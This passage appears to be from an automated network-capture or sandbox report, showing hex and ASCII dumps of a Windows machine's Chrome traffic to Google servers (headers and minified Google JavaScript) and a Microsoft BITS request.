2024-10-31 02:04:10 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-31 02:04:10 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 33 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700283,3700942,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-31 02:04:10 UTC	1378	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-31 02:04:10 UTC	313	IN	Data Raw: 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 Data Ascii: ;return a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u00
2024-10-31 02:04:10 UTC	540	IN	Data Raw: 32 31 35 0d 0a 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 71 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 41 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 64 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 63 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 Data Ascii: 215rray\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.qe\u003dfunction(a,b,c){return _.Ab(a,b,c,!1)!\u003d\u003dvoid 0};_.re\u003dfunction(a,b){return _.de(_.Yc(a,b))};_.S\u003dfunction(a,b){return _.ce(_.Yc(a,b))};_.T\u
2024-10-31 02:04:10 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 7a 65 2c 44 65 2c 76 65 3b 5f 2e 78 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 76 65 28 5f 2e 77 65 28 61 29 29 3a 74 65 7c 7c 28 74 65 5c 75 30 30 33 64 6e 65 77 20 76 65 29 7d 3b 5f 2e 79 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 Data Ascii: 8000avascript:)(?:[\\w+.-]+:\|[^:/?#]*(?:[/?#]\|$))/i;var ze,De,ve;_.xe\u003dfunction(a){return a?new ve(_.we(a)):te\|\|(te\u003dnew ve)};_.ye\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	142.250.186.132	443	7056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:10 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 02:04:10 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 02:04:10 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 02:04:10 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-31 02:04:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49723	142.250.184.238	443	7056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:15 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 02:04:15 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 30 Oct 2024 15:42:11 GMT Expires: Thu, 30 Oct 2025 15:42:11 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 37324 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-31 02:04:15 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-31 02:04:15 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-31 02:04:15 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-31 02:04:15 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-31 02:04:15 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-31 02:04:15 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-31 02:04:15 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-31 02:04:15 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-31 02:04:15 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-31 02:04:15 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49724	2.19.104.72	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:15 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
